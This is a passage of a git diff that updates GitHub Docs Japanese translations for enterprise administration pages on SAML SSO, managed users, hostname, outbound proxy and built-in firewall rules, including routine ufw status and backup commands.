-The following IdPs provide documentation about configuring SAML SSO for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}.
+次の IdP は、{% data variables.product.product_name %} の SAML SSO の設定に関するドキュメントを提供しています。 IdP がリストにない場合は、IdP に問い合わせて、{% data variables.product.product_name %} のサポートをご依頼ください。
 
- | IdP | More information |
- | :- | :- |
- | Azure AD | [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)."  |
-| Okta (Beta) | To configure Okta for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)."|
+ | IdP         | 詳細情報                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+ |:----------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | Azure AD    | [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)." |
+ | Okta (Beta) | To configure Okta for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)."                                                                                                                                                                                                                                                 |
 
-During initialization for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} as a SAML Service Provider (SP) on your IdP. You must enter several unique values on your IdP to configure {% data variables.product.product_name %} as a valid SP.
+{% data variables.product.product_name %} の初期化中に、IdP で {% data variables.product.product_name %} を SAML サービスプロバイダ (SP) として設定する必要があります。 {% data variables.product.product_name %} を有効な SP として設定するには、IdP にいくつかの一意の値を入力する必要があります。
 
-| Value | Other names | Description | Example |
-| :- | :- | :- | :- |
-| SP Entity ID | SP URL | Your top-level URL for {% data variables.product.prodname_ghe_managed %} | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em></code>
-| SP Assertion Consumer Service (ACS) URL | Reply URL | URL where IdP sends SAML responses | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/saml/consume</code> |
-| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/sso</code> |
+| 値                              | 別名     | 説明                                                              | サンプル                      |
+|:------------------------------ |:------ |:--------------------------------------------------------------- |:------------------------- |
+| SP エンティティ ID                   | SP URL | {% data variables.product.prodname_ghe_managed %} の最上位にある URL | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em></code> |
+| SP アサーションコンシューマーサービス (ACS) URL | 返信 URL | IdP が SAML レスポンスを送信する URL                                       | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/saml/consume</code> |
+| SP シングルサインオン (SSO) URL         |        | IdP が SSO を開始する URL                                             | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/sso</code> |
 
-## Editing the SAML SSO configuration
+## SAML SSO 設定を編集する
 
-If the details for your IdP change, you'll need to edit the SAML SSO configuration for {% data variables.product.product_location %}. For example, if the certificate for your IdP expires, you can edit the value for the public certificate.
+IdP の詳細が変更された場合は、{% data variables.product.product_location %} の SAML SSO 設定を編集する必要があります。 たとえば、IdP の証明書の有効期限が切れそうな場合、公開証明書の値を編集できます。
 
 {% ifversion ghae %}
 
 {% note %}
 
-**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
-
-{% endnote %} 
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.settings-tab %}
-{% data reusables.enterprise-accounts.security-tab %}
-1. Under "SAML single sign-on", type the new details for your IdP.
-  ![Text entry fields with IdP details for SAML SSO configuration for an enterprise](/assets/images/help/saml/ae-edit-idp-details.png)
-1. Optionally, click {% octicon "pencil" aria-label="The edit icon" %} to configure a new signature or digest method.
-  ![Edit icon for changing signature and digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
-
-    - Use the drop-down menus and choose the new signature or digest method.
-      ![Drop-down menus for choosing a new signature or digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
-1. To ensure that the information you've entered is correct, click **Test SAML configuration**.
-  !["Test SAML configuration" button](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
-1. Click **Save**.
-    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-edit-idp-details-save.png)
-1. Optionally, to automatically provision and deprovision user accounts for {% data variables.product.product_location %}, reconfigure user provisioning with SCIM. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
-
-{% endif %}
-
-{% ifversion ghae %}
-
-## Disabling SAML SSO
-
-{% warning %}
-
-**Warning**: If you disable SAML SSO for {% data variables.product.product_location %}, users without existing SAML SSO sessions cannot sign into {% data variables.product.product_location %}. SAML SSO sessions on {% data variables.product.product_location %} end after 24 hours.
-
-{% endwarning %}
-
-{% note %}
-
-**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+**注釈**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
 
 {% endnote %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "SAML single sign-on", unselect **Enable SAML authentication**.
-  ![Checkbox for "Enable SAML authentication"](/assets/images/help/saml/ae-saml-disabled.png)
-1. To disable SAML SSO and require signing in with the built-in user account you created during initialization, click **Save**.
-    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-saml-disabled-save.png)
+1. [SAML single sign-on] で、IdP の新しい詳細を入力します。 ![Enterprise の SAML SSO 設定の IdP 詳細を含むテキスト入力フィールド](/assets/images/help/saml/ae-edit-idp-details.png)
+1. 必要に応じて、{% octicon "pencil" aria-label="The edit icon" %} をクリックして、新しい署名またはダイジェスト方式を設定します。 ![署名とダイジェスト方法を変更するための編集アイコン](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
+
+    - ドロップダウンメニューを使用して、新しい署名またはダイジェスト方法を選択します。 ![新しい署名またはダイジェスト方法を選択するためのドロップダウンメニュー](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
+1. [**Test SAML configuration**] をクリックして、入力した情報が正しいことを確認します。 ![[Test SAML configuration] ボタン](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
+1. [**Save**] をクリックします。 ![SAML SSO 設定の [Save] ボタン](/assets/images/help/saml/ae-edit-idp-details-save.png)
+1. 必要に応じて、{% data variables.product.product_location %} のユーザアカウントを自動的にプロビジョニングおよびプロビジョニング解除するには、SCIM を使用してユーザプロビジョニングを再設定します。 詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。
+
+{% endif %}
+
+{% ifversion ghae %}
+
+## SAML SSO を無効化する
+
+{% warning %}
+
+**Warning**: {% data variables.product.product_location %} の SAML SSO を無効にすると、既存の SAML SSO セッションのないユーザは {% data variables.product.product_location %} にサインインできなくなります。 {% data variables.product.product_location %} での SAML SSO セッションは、24 時間後に終了します。
+
+{% endwarning %}
+
+{% note %}
+
+**注釈**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. [SAML single sign-on] の下で [**Enable SAML authentication**] を選択解除します。 ![[Enable SAML authentication] チェックボックス](/assets/images/help/saml/ae-saml-disabled.png)
+1. SAML SSO を無効にし、初期化中に作成した組み込みユーザアカウントでサインインする必要がある場合は、[**Save**] をクリックします。 ![SAML SSO 設定の [Save] ボタン](/assets/images/help/saml/ae-saml-disabled-save.png)
 
 {% endif %}
 
diff --git a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
index 174fd3e8d6..dc6e082866 100644
--- a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing team synchronization for organizations in your enterprise
 intro: 'アイデンティティプロバイダ (IdP) と {% data variables.product.product_name %} の間のチーム同期を有効にして、Enterprise アカウントが所有する Organization が IdP グループを介してチームメンバーシップを管理できるようにすることができます。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage team synchronization for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
index 757ac8fce3..7a903b782c 100644
--- a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
+++ b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Switching your SAML configuration from an organization to an enterprise account
 intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can configure SAML single sign-on for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md b/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
index 2700c6ee2e..f524db2f80 100644
--- a/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
+++ b/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
@@ -16,7 +16,7 @@ topics:
   - SSO
 ---
 
-## About {% data variables.product.prodname_emus %}
+## {% data variables.product.prodname_emus %}について
 
 With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP.
 
@@ -47,13 +47,13 @@ To use {% data variables.product.prodname_emus %}, you need a separate type of e
 
 * {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise.
 * {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. 
+* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise.
 * {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise.
 * {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists.
 * {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts.
 * Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate.
 * {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories.
-* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. 
+* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings.
 
 ## About enterprises with managed users
 
@@ -71,7 +71,7 @@ The setup user's username is your enterprise's shortcode suffixed with `_admin`.
 
 {% endnote %}
 
-## Authenticating as a {% data variables.product.prodname_managed_user %}
+## {% data variables.product.prodname_managed_user %} として認証を行う
 
 {% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider.
 
diff --git a/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
index a4dae11fbf..88e35504be 100644
--- a/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
+++ b/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
@@ -14,7 +14,7 @@ topics:
 
 ## About provisioning for {% data variables.product.prodname_emus %}
 
-You can configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise.
+You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise.
 
 When you update information associated with a user's identity on your IdP, your IdP will update the user's account on GitHub.com. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any SAML sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.product.prodname_managed_user %} account on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
 
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
index 2727ae6ddc..3823b294b3 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a hostname
-intro: We recommend setting a hostname for your appliance instead of using a hard-coded IP address.
+title: ホスト名の設定
+intro: アプライアンスには、ハードコードされたIPアドレスを使うのではなくホスト名を設定することをおすすめします。
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-hostnames
   - /enterprise/admin/installation/configuring-a-hostname
@@ -14,20 +14,19 @@ topics:
   - Fundamentals
   - Infrastructure
 ---
-If you configure a hostname instead of a hard-coded IP address, you will be able to change the physical hardware that {% data variables.product.product_location %} runs on without affecting users or client software.
 
-The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` We also recommend enabling subdomain isolation for the chosen hostname to mitigate several cross-site scripting style vulnerabilities. For more information on hostname settings, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2).
+ハードコードされたIPアドレスの代わりにホスト名を設定すれば、ユーザやクライアントソフトウェアに影響を与えることなく{% data variables.product.product_location %}を動作させる物理ハードウェアを変更できるようになります。
+
+{% data variables.enterprise.management_console %} のホスト名の設定は、適切な完全修飾ドメイン名 (FQDN) に設定して、インターネット上または内部ネットワーク内で解決できるようにしてください。 たとえば、ホスト名の設定は `github.companyname.com` であるかもしれません。 また、選択したホスト名に対して Subdomain Isolation を有効にして、いくつかのクロスサイトスクリプティングスタイルの脆弱性を軽減することもおすすめします。 ホスト名の設定に関する詳しい情報については、[HTTP RFC の Section 2.1](https://tools.ietf.org/html/rfc1123#section-2) を参照してください。
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.hostname-menu-item %}
-4. Type the hostname you'd like to set for {% data variables.product.product_location %}.
-  ![Field for setting a hostname](/assets/images/enterprise/management-console/hostname-field.png)
-5. To test the DNS and SSL settings for the new hostname, click **Test domain settings**.
-  ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png)
+4. {% data variables.product.product_location %} に設定するホスト名を入力します。 ![ホスト名を設定するためのフィールド](/assets/images/enterprise/management-console/hostname-field.png)
+5. 新しいホスト名のためのDNS及びSSLの設定をテストするには**Test domain settings（ドメイン設定のテスト）**をクリックしてください。 ![[Test domain settings] ボタン](/assets/images/enterprise/management-console/test-domain-settings.png)
 {% data reusables.enterprise_management_console.test-domain-settings-failure %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-After you configure a hostname, we recommend that you enable subdomain isolation for {% data variables.product.product_location %}. For more information, see "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation/)."
+ホスト名を設定したら、{% data variables.product.product_location %}のSubdomain Isolationを有効化することをお勧めします。 詳しい情報については"[Subdomain Isolationの有効化](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation/)"を参照してください。
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
index efcd3a1f2d..b06c3a8b5b 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring an outbound web proxy server
-intro: 'A proxy server provides an additional level of security for {% data variables.product.product_location %}.'
+title: アウトバウンドのWebプロキシサーバの設定
+intro: 'プロキシサーバは、{% data variables.product.product_location %}に追加のセキュリティのレベルをもたらしてくれます。'
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-a-proxy-server
   - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server
@@ -19,25 +19,23 @@ shortTitle: Configure an outbound proxy
 
 ## About proxies with {% data variables.product.product_name %}
 
-When a proxy server is enabled for {% data variables.product.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`.
+{% data variables.product.product_location %} に対してプロキシサーバーが有効である場合、送信先ホストが HTTP プロキシ除外として追加されていない限り、{% data variables.product.prodname_ghe_server %} によって送信されたアウトバウンドメッセージがプロキシサーバーを経由してまず最初に送信されます。 アウトバウンドのメッセージの種類には、webhook、Bundleのアップロード、レガシーのアバターのフェッチが含まれます。 プロキシサーバのURLは、たとえば`http://127.0.0.1:8123`といったように、プロトコル、ドメインもしくはIPアドレスにポート番号を加えたものです。
 
 {% note %}
 
-**Note:**  To connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+**メモ:**  {% data variables.product.product_location %}　を　{% data variables.product.prodname_dotcom_the_website %} に接続するには、`github.com` と `api.github.com` への接続がプロキシ設定で許可されている必要があります。 For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
 
 {% endnote %}
 
 {% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
 
-## Configuring an outbound web proxy server
+## アウトバウンドのWebプロキシサーバの設定
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-1. Under **HTTP Proxy Server**, type the URL of your proxy server.
-  ![Field to type the HTTP Proxy Server URL](/assets/images/enterprise/management-console/http-proxy-field.png)
-  
-5. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. To exclude all hosts in a domain from requiring proxy access, you can use `.` as a wildcard prefix.  For example: `.octo-org.tentacle`
-  ![Field to type any HTTP Proxy Exclusions](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png)
+1. **HTTP Proxy Server（HTTPプロキシサーバ）**の下に、プロキシサーバのURLを入力してください。 ![HTTP プロキシサーバーのURLを入力するためのフィールド](/assets/images/enterprise/management-console/http-proxy-field.png)
+
+5. オプションで、プロキシのアクセスを要しないホストがあれば**HTTP Proxy Exclusion（HTTPプロキシの除外）**の下にカンマ区切りで入力してください。 ドメイン内のすべてのホストをプロキシアクセスの要求から除外するには `.` をワイルドカードプレフィックスとして使用できます。  たとえば、`.octo-org.tentacle` などです。 ![HTTP プロキシの除外を入力するためのフィールド](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png)
 
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
index b6f5cbfb9d..1b1c7b3dd2 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring built-in firewall rules
-intro: 'You can view default firewall rules and customize rules for {% data variables.product.product_location %}.'
+title: 組み込みファイアウォールのルール設定
+intro: '{% data variables.product.product_location %}のデフォルトのファイアウォールのルールとカスタマイズされたルールを見ることができます。'
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-firewall-settings
   - /enterprise/admin/installation/configuring-built-in-firewall-rules
@@ -16,18 +16,19 @@ topics:
   - Networking
 shortTitle: Configure firewall rules
 ---
-## About {% data variables.product.product_location %}'s firewall
 
-{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see "[UFW](https://help.ubuntu.com/community/UFW)" in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release.
+## {% data variables.product.product_location %}のファイアウォールについて
 
-After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see "[Network ports](/enterprise/admin/guides/installation/network-ports)."
+{% data variables.product.prodname_ghe_server %} は、仮想アプライアンスで Ubuntu の Uncomplicated Firewall (UFW) を使用します。 詳しい情報についてはUbuntuのドキュメンテーションの"[UFW](https://help.ubuntu.com/community/UFW)"を参照してください。 {% data variables.product.prodname_ghe_server %} は、許可されたサービスのファイアウォールのホワイトリストをリリースごとに自動的に更新します。
 
-The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213).
+{% data variables.product.prodname_ghe_server %} をインストールすると、接続を受け入れるために必要なすべてのネットワークポートが自動的に開かれます。 不必要なすべてのポートは自動的に`deny`に設定され、デフォルトの送信ポリシーは`allow`に設定されます。 ステートフルな追跡は、任意の新しいコネクションに対して有効化されます。それらは通常、`SYN`ビットが立てられているネットワークパケットです。 詳しい情報については"[ネットワークポート](/enterprise/admin/guides/installation/network-ports)"を参照してください。
 
-## Viewing the default firewall rules
+UFW ファイアウォールは、{% data variables.product.prodname_ghe_server %} が正しく動作するのに必要となる他のいくつかのポートも開きます。 UFW のルールセットに関する詳しい情報については、[the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213) を参照してください。
+
+## デフォルトのファイアウォールルールの表示
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this:
+2. デフォルトのファイアウォールルールを表示するには、`sudo ufw status` コマンドを使用します。 以下と同じような出力が表示されるでしょう:
   ```shell
   $ sudo ufw status
   > Status: active
@@ -55,46 +56,46 @@ The UFW firewall also opens several other ports that are required for {% data va
   > ghe-9418 (v6)              ALLOW       Anywhere (v6)
   ```
 
-## Adding custom firewall rules
+## カスタムのファイアウォールルールの追加
 
 {% warning %}
 
-**Warning:** Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, contact {% data variables.contact.contact_ent_support %} to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server.
+**警告:** 既知の作業状態にリセットする必要が生じた場合に備えて、カスタムのファイアウォールルールを追加する前に、現在のルールをバックアップしてください。 サーバーからロックアウトされている場合には、{% data variables.contact.contact_ent_support %}に問い合わせて、元のファイアウォールルールを再設定してください。 元のファイアウォールルールを復元すると、サーバーでダウンタイムが発生します。
 
 {% endwarning %}
 
-1. Configure a custom firewall rule.
-2. Check the status of each new rule with the `status numbered` command.
+1. カスタムのファイアウォールルールを設定する。
+2. `status numbered`コマンドを使って、新しいルールそれぞれのステータスをチェックします。
   ```shell
   $ sudo ufw status numbered
   ```
-3. To back up your custom firewall rules, use the `cp`command to move the rules to a new file.
+3. カスタムのファイアウォールルールをバックアップするには、`cp` コマンドを使用してルールを新しいファイルに移動します。
   ```shell
   $ sudo cp -r /etc/ufw ~/ufw.backup
   ```
 
-After you upgrade {% data variables.product.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules.
+{% data variables.product.product_location %}をアップグレードした後は、カスタムのファイアウォールルールを再適用しなければなりません。 ファイアウォールのカスタムルールを再適用するためのスクリプトを作成することをお勧めします。
 
-## Restoring the default firewall rules
+## デフォルトのファイアウォールルールのリストア
 
-If something goes wrong after you change the firewall rules, you can reset the rules from your original backup.
+ファイアウォールルールの変更後に何か問題が生じたなら、オリジナルのバックアップからルールをリセットできます。
 
 {% warning %}
 
-**Warning:** If you didn't back up the original rules before making changes to the firewall, contact {% data variables.contact.contact_ent_support %} for further assistance.
+**警告:** ファイアウォールに変更を加える前にオリジナルのルールをバックアップしていなかった場合は、{% data variables.contact.contact_ent_support %} にお問い合わせください。
 
 {% endwarning %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To restore the previous backup rules, copy them back to the firewall with the `cp` command.
+2. 以前のバックアップルールを復元するには、`cp` コマンドでそれらをファイアウォールにコピーして戻します。
   ```shell
   $ sudo cp -f ~/ufw.backup/*rules /etc/ufw
   ```
-3. Restart the firewall with the `systemctl` command.
+3. `systemctl` コマンドでファイアウォールを再起動します。
   ```shell
   $ sudo systemctl restart ufw
   ```
-4. Confirm that the rules are back to their defaults with the `ufw status` command.
+4. `ufw status` コマンドで、ルールがデフォルトに戻っていることを確認します。
   ```shell
   $ sudo ufw status
   > Status: active
diff --git a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
index 0080d55693..94df92d6af 100644
--- a/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
+++ b/translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring DNS nameservers
-intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.'
+title: DNSネームサーバの設定
